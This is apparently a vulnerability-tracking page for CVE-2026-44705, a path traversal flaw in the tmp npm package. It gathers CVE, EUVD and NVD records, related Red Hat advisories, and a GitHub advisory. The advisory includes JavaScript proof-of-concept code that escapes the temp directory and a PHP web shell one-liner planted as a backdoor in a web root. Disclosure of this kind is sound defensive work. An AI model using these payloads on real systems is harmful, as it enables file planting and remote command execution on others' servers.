tmp: Path Traversal via unsanitized prefix/postfix enables directory escape
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-44705
Publishedtmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.
- Source published
- 11 Jun 2026 15:42:46 UTC
- Source modified
- 13 Jun 2026 02:20:44 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 7.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
euvd · EUVD-2026-36264
Publishedtmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jun 11, 2026, 3:42:46 PM
dateUpdated: Jun 13, 2026, 2:20:44 AM
23 related source bulletins · separate from aliases
RHSA-2026:60520: Red Hat Security Advisory: RHOAI 3.4.4 - Red Hat OpenShift AI
CVE-2025-66471 · CVE-2025-66626 · CVE-2025-71329 · CVE-2025-71330 · CVE-2026-0545 · CVE-2026-2614 · CVE-2026-5241 · CVE-2026-5422 · CVE-2026-6322 · CVE-2026-6734 · CVE-2026-8643 · CVE-2026-9697 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-12243 · CVE-2026-12481 · CVE-2026-13149 · CVE-2026-13311 · CVE-2026-13676 · CVE-2026-13717 · CVE-2026-14450 · CVE-2026-15154 · CVE-2026-15218 · CVE-2026-15378 · CVE-2026-15467 · CVE-2026-15581 · CVE-2026-16745 · CVE-2026-18608 · CVE-2026-18611 · CVE-2026-18617 · CVE-2026-18620 · CVE-2026-18621 · CVE-2026-18948 · CVE-2026-18951 · CVE-2026-18982 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-32280 · CVE-2026-32283 · CVE-2026-33079 · CVE-2026-33245 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-34993 · CVE-2026-35397 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39835 · CVE-2026-40171 · CVE-2026-41672 · CVE-2026-41673 · CVE-2026-41675 · CVE-2026-42211 · CVE-2026-42215 · CVE-2026-42264 · CVE-2026-42266 · CVE-2026-42284 · CVE-2026-42305 · CVE-2026-42311 · CVE-2026-42338 · CVE-2026-42342 · CVE-2026-42499 · CVE-2026-42502 · CVE-2026-42508 · CVE-2026-42557 · CVE-2026-44017 · CVE-2026-44018 · CVE-2026-44020 · CVE-2026-44240 · CVE-2026-44244 · CVE-2026-44289 · CVE-2026-44290 · CVE-2026-44291 · CVE-2026-44292 · CVE-2026-44293 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44513 · CVE-2026-44660 · CVE-2026-44705 · CVE-2026-44724 · CVE-2026-44727 · CVE-2026-44827 · CVE-2026-44843 · CVE-2026-45292 · CVE-2026-45623 · CVE-2026-45736 · CVE-2026-45740 · CVE-2026-45804 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-46625 · CVE-2026-47214 · CVE-2026-48526 · CVE-2026-48710 · CVE-2026-48712 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-49476 · CVE-2026-49477 · CVE-2026-49851 · CVE-2026-49978 · CVE-2026-50193 · CVE-2026-53550 · CVE-2026-54058 · CVE-2026-54060 · CVE-2026-54283 · CVE-2026-54293 · CVE-2026-55379 · CVE-2026-55380 · CVE-2026-55685 · CVE-2026-56121 · CVE-2026-56208 · CVE-2026-56209 · CVE-2026-56210 · CVE-2026-56211 · CVE-2026-58049 · CVE-2026-59197 · CVE-2026-59199 · CVE-2026-59200 · CVE-2026-59204 · CVE-2026-59205 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59884 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-64835 · CVE-2026-64849 · CVE-2026-69152 · CVE-2026-69192 · CVE-2026-69243 · CVE-2026-69244
RHSA-2026:65514: Red Hat Security Advisory: Red Hat Quay 3.9.26
CVE-2026-15792 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:68747: Red Hat Security Advisory: General availability of the satellite/iop-remediations-rhel9 container image
CVE-2026-12143 · CVE-2026-44705 · CVE-2026-59869 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394
msrc_CVE-2026-44705: tmp: Path Traversal via unsanitized prefix/postfix enables directory escape
CVE-2026-44705
RHSA-2026:66523: Red Hat Security Advisory: Red Hat Quay 3.12.22
CVE-2026-15792 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:57590: Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update
CVE-2026-9595 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-34986 · CVE-2026-42338 · CVE-2026-42570 · CVE-2026-44705 · CVE-2026-45623 · CVE-2026-45736 · CVE-2026-45740 · CVE-2026-48068 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-49978 · CVE-2026-56876 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59877 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192
RHSA-2026:56338: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update
CVE-2026-9595 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-44705 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-54272 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:62260: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.
CVE-2025-55163 · CVE-2026-8286 · CVE-2026-9277 · CVE-2026-9547 · CVE-2026-9563 · CVE-2026-10050 · CVE-2026-10051 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-13149 · CVE-2026-15075 · CVE-2026-15076 · CVE-2026-27136 · CVE-2026-34986 · CVE-2026-39820 · CVE-2026-39831 · CVE-2026-39835 · CVE-2026-40898 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41242 · CVE-2026-41695 · CVE-2026-41716 · CVE-2026-42264 · CVE-2026-42499 · CVE-2026-44705 · CVE-2026-45149 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-45674 · CVE-2026-46597 · CVE-2026-46681 · CVE-2026-47691 · CVE-2026-48020 · CVE-2026-48068 · CVE-2026-48491 · CVE-2026-49978 · CVE-2026-50010 · CVE-2026-50193 · CVE-2026-53488 · CVE-2026-53492 · CVE-2026-53622 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-54763 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59296 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59877 · CVE-2026-59888 · CVE-2026-59899 · CVE-2026-65600 · CVE-2026-65601 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-68494 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73566 · CVE-2026-73646 · CVE-2026-75838
RHSA-2026:59135: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
CVE-2026-15307 · CVE-2026-34993 · CVE-2026-39373 · CVE-2026-44705 · CVE-2026-52902 · CVE-2026-59886 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67324 · CVE-2026-67325 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71364 · CVE-2026-71365 · CVE-2026-71366 · CVE-2026-73620 · CVE-2026-78677 · CVE-2026-78679
RHSA-2026:63307: Red Hat Security Advisory: Red Hat Quay 3.15.8
CVE-2026-15927 · CVE-2026-18255 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-57231 · CVE-2026-59869 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:87410: Red Hat Security Advisory: RHOAI 2.25.12 - Red Hat OpenShift AI
CVE-2024-12224 · CVE-2025-14920 · CVE-2025-14921 · CVE-2025-14924 · CVE-2025-14925 · CVE-2025-14926 · CVE-2025-14927 · CVE-2025-14928 · CVE-2025-14929 · CVE-2025-14930 · CVE-2025-61726 · CVE-2025-61729 · CVE-2026-5241 · CVE-2026-5497 · CVE-2026-6734 · CVE-2026-8643 · CVE-2026-9697 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-12151 · CVE-2026-12860 · CVE-2026-15143 · CVE-2026-15574 · CVE-2026-15679 · CVE-2026-15925 · CVE-2026-16221 · CVE-2026-18427 · CVE-2026-18446 · CVE-2026-18949 · CVE-2026-19481 · CVE-2026-19484 · CVE-2026-19534 · CVE-2026-25681 · CVE-2026-25960 · CVE-2026-27136 · CVE-2026-28390 · CVE-2026-28684 · CVE-2026-31812 · CVE-2026-32283 · CVE-2026-33186 · CVE-2026-33805 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-34993 · CVE-2026-39821 · CVE-2026-39852 · CVE-2026-39892 · CVE-2026-40682 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-42561 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44660 · CVE-2026-44705 · CVE-2026-45820 · CVE-2026-47219 · CVE-2026-48526 · CVE-2026-48710 · CVE-2026-48746 · CVE-2026-49114 · CVE-2026-49825 · CVE-2026-49855 · CVE-2026-50559 · CVE-2026-54283 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56121 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-58059 · CVE-2026-59296 · CVE-2026-59879 · CVE-2026-59884 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-59899 · CVE-2026-62243 · CVE-2026-62384 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-65898 · CVE-2026-65918 · CVE-2026-66007 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67312 · CVE-2026-68494 · CVE-2026-68497 · CVE-2026-68770 · CVE-2026-69097 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73415 · CVE-2026-73417 · CVE-2026-73502 · CVE-2026-73508 · CVE-2026-73620 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-73627 · CVE-2026-73646 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76098 · CVE-2026-76169 · CVE-2026-76172 · CVE-2026-76222 · CVE-2026-76905 · CVE-2026-77354 · CVE-2026-77874 · CVE-2026-78676 · CVE-2026-78677 · CVE-2026-78679 · CVE-2026-78682 · CVE-2026-79674 · CVE-2026-79675 · CVE-2026-80205 · CVE-2026-81722 · CVE-2026-81724 · CVE-2026-81727 · CVE-2026-82397 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84428 · CVE-2026-84445 · CVE-2026-84469 · CVE-2026-84504 · CVE-2026-84782 · CVE-2026-84961 · CVE-2026-85124 · CVE-2026-85152 · CVE-2026-85525 · CVE-2026-86049 · CVE-2026-86332 · CVE-2026-87776 · CVE-2026-87817 · CVE-2026-87819 · CVE-2026-88029 · CVE-2026-88031 · CVE-2026-89418 · CVE-2026-89425 · CVE-2026-91777 · CVE-2026-91990 · CVE-2026-92599 · CVE-2026-93599 · CVE-2026-93657 · CVE-2026-93749 · CVE-2026-96749 · CVE-2026-102831 · CVE-2026-102925 · CVE-2026-102930 · CVE-2026-102937 · CVE-2026-102938 · CVE-2026-103262 · CVE-2026-104851 · CVE-2026-105744
RHSA-2026:66352: Red Hat Security Advisory: OpenShift Container Platform 4.21.33 bug fix and security update
CVE-2026-25681 · CVE-2026-27136 · CVE-2026-27145 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39835 · CVE-2026-42502 · CVE-2026-42504 · CVE-2026-44705 · CVE-2026-46597 · CVE-2026-48801 · CVE-2026-53488 · CVE-2026-54284 · CVE-2026-56852 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862
RHSA-2026:81110: Red Hat Security Advisory: Red Hat Quay 3.18.1
CVE-2026-15792 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-49825 · CVE-2026-54058 · CVE-2026-54770 · CVE-2026-55379 · CVE-2026-55380 · CVE-2026-59197 · CVE-2026-59199 · CVE-2026-59200 · CVE-2026-59204 · CVE-2026-59205 · CVE-2026-59886 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321
RHSA-2026:69255: Red Hat Security Advisory: Red Hat Quay 3.16.6
CVE-2026-13149 · CVE-2026-15792 · CVE-2026-15927 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-39822 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-54058 · CVE-2026-54060 · CVE-2026-54770 · CVE-2026-55379 · CVE-2026-55380 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-57231 · CVE-2026-59197 · CVE-2026-59199 · CVE-2026-59200 · CVE-2026-59204 · CVE-2026-59205 · CVE-2026-59869 · CVE-2026-59879 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-73086 · CVE-2026-75593 · CVE-2026-82417 · CVE-2026-84375
RHSA-2026:74511: Red Hat Security Advisory: Red Hat Quay 3.17.5
CVE-2026-15792 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-33818 · CVE-2026-39820 · CVE-2026-39822 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-49825 · CVE-2026-54770 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69153 · CVE-2026-84292 · CVE-2026-84394
RHSA-2026:66377: Red Hat Security Advisory: OpenShift Container Platform 4.20.38 bug fix and security update
CVE-2026-27136 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-48801 · CVE-2026-53488 · CVE-2026-54284 · CVE-2026-56852 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862
RHSA-2026:66358: Red Hat Security Advisory: OpenShift Container Platform 4.22.14 bug fix and security update
CVE-2026-27136 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-39828 · CVE-2026-39835 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-44705 · CVE-2026-46597 · CVE-2026-54284 · CVE-2026-55204 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862
RHSA-2026:59153: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.7 Container Release Update
CVE-2026-9595 · CVE-2026-12143 · CVE-2026-15307 · CVE-2026-27459 · CVE-2026-39363 · CVE-2026-44244 · CVE-2026-44545 · CVE-2026-44705 · CVE-2026-46625 · CVE-2026-59886 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71364 · CVE-2026-71365 · CVE-2026-71366
RHSA-2026:66084: Red Hat Security Advisory: Red Hat Quay 3.10.26
CVE-2026-15792 · CVE-2026-18255 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-44705 · CVE-2026-49477 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-84375
RHSA-2026:70267: Red Hat Security Advisory: Red Hat Quay 3.14.9
CVE-2026-4427 · CVE-2026-6322 · CVE-2026-9277 · CVE-2026-10143 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-15792 · CVE-2026-15927 · CVE-2026-16221 · CVE-2026-18255 · CVE-2026-32591 · CVE-2026-33747 · CVE-2026-33748 · CVE-2026-33818 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-39822 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39835 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-42508 · CVE-2026-44432 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44705 · CVE-2026-44990 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-48526 · CVE-2026-49477 · CVE-2026-54058 · CVE-2026-54060 · CVE-2026-55379 · CVE-2026-55380 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-57231 · CVE-2026-59197 · CVE-2026-59199 · CVE-2026-59200 · CVE-2026-59204 · CVE-2026-59205 · CVE-2026-59869 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-84375
RHSA-2026:59136: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
CVE-2026-12143 · CVE-2026-15307 · CVE-2026-34993 · CVE-2026-39373 · CVE-2026-44545 · CVE-2026-44705 · CVE-2026-52902 · CVE-2026-59886 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67324 · CVE-2026-67325 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71364 · CVE-2026-71365 · CVE-2026-71366 · CVE-2026-73620 · CVE-2026-78677 · CVE-2026-78679
RHSA-2026:59155: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release Update
CVE-2025-62718 · CVE-2025-69223 · CVE-2025-69227 · CVE-2025-69228 · CVE-2026-1615 · CVE-2026-9595 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-15307 · CVE-2026-44545 · CVE-2026-44705 · CVE-2026-59886 · CVE-2026-67325 · CVE-2026-69152 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71364 · CVE-2026-71365 · CVE-2026-71366
RHSA-2026:68766: Red Hat Security Advisory: General availability of the satellite/iop-remediations-rhel9 container image
CVE-2026-12143 · CVE-2026-44705 · CVE-2026-59869 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-82417 · CVE-2026-84375
- Source published
- Jun 11, 2026, 3:42:46 PM (timezone not stated)
- Source modified
- Jun 13, 2026, 2:20:44 AM (timezone not stated)
- Observed here
- 7 Nov 2026 10:32:03 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 7.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
nvd · CVE-2026-44705
Publishedtmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-22
Original publisher date fields
published: 2026-06-11T17:16:33.853
lastModified: 2026-10-26T11:10:00.157
1 source CPE criteria · context only
- cpe:2.3:a:raszi:tmp:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 11 Jun 2026 17:16:33 UTC
- Source modified
- 26 Oct 2026 11:10:00 UTC
- Observed here
- 27 Oct 2026 11:12:17 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 7.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
osv · GHSA-ph9p-34f9-6g65
Published### Summary The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. ### Details **Root Cause:** The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation. **Technical Flow:** 1. **Filename Construction:** tmp builds filenames as `<prefix>-<pid>-<random>-<postfix>` 2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)` 3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape 4. **File Creation:** File created at the resulting (potentially escaped) path **Vulnerable Pattern:** ```javascript // In tmp package internals const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`; const finalPath = path.join(tmpDir, opts.dir || '', name); // No validation that finalPath remains within tmpDir ``` **Path Traversal Mechanics:** - **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure - **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely - **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text - **Cross-platform impact:** Works on Windows (`..\\`), Unix (`../`), and mixed path systems **Key Vulnerability Points:** - No input validation on `prefix`, `postfix`, or `dir` parameters - Direct use of user input in path construction - Reliance on `path.join()` normalization without containment checks - Missing post-construction validation that final path remains within intended directory ### PoC **Basic Path Traversal via prefix:** ```javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs'); // Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir); // Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); // Output shows: ../escaped-<pid>-<random> cleanup(); }); ``` **Directory Escape via postfix:** ```javascript tmp.file({ tmpdir: baseDir, postfix: '/../../pwned.txt' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Escaped file:', filepath); console.log('Escaped outside base:', !filepath.startsWith(baseDir)); cleanup(); }); ``` **Absolute Path Bypass via dir:** ```javascript tmp.file({ tmpdir: '/safe/tmp/dir', dir: '/tmp/evil-location', prefix: 'bypassed' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Bypassed to:', filepath); // File created in /tmp/evil-location instead of /safe/tmp/dir cleanup(); }); ``` **Advanced Multi-Vector Attack:** ```javascript const maliciousOpts = { tmpdir: '/app/safe-tmp', dir: '../../../tmp', // Escape base prefix: '../sensitive-area/', // Further traversal postfix: 'malicious.config' // Controlled filename }; tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => { // Results in file creation at: /tmp/sensitive-area/malicious.config console.log('Final malicious path:', filepath); cleanup(); }); ``` **Real-World Attack Simulation:** ```javascript // Simulate web API that accepts user file prefix function createUserTempFile(userPrefix, content) { return new Promise((resolve, reject) => { tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => { if (err) return reject(err); fs.writeSync(fd, content); console.log('User file created at:', path); resolve({ path, cleanup }); }); }); } // Attacker input const attackerPrefix = '../../../var/www/html/backdoor'; createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>'); // Creates PHP backdoor in web root instead of temp directory ``` ### Impact **Arbitrary File Creation:** - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability **Attack Scenarios:** **1. Web Application Configuration Poisoning:** - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart **2. Cache Poisoning:** - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users **3. Build Pipeline Compromise:** - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production **4. Container Escape Attempt:** - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas **5. Multi-Tenant Service Bypass:** - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation **Business Impact:** - **Data Integrity:** Unauthorized file placement can corrupt application state - **Service Disruption:** Files in wrong locations may break application functionality - **Security Bypass:** Escape temporary isolation boundaries - **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations ### Affected Products - **Ecosystem:** npm - **Package name:** tmp - **Repository:** github.com/raszi/node-tmp - **Affected versions:** All versions with vulnerable path construction logic - **Patched versions:** None currently available **Component Impact:** - `tmp.file()` function - vulnerable to prefix/postfix/dir traversal - `tmp.dir()` function - vulnerable to same parameter manipulation - `tmp.tmpName()` function - if using affected path construction **Severity:** High **CVSS v3.1:** 8.1 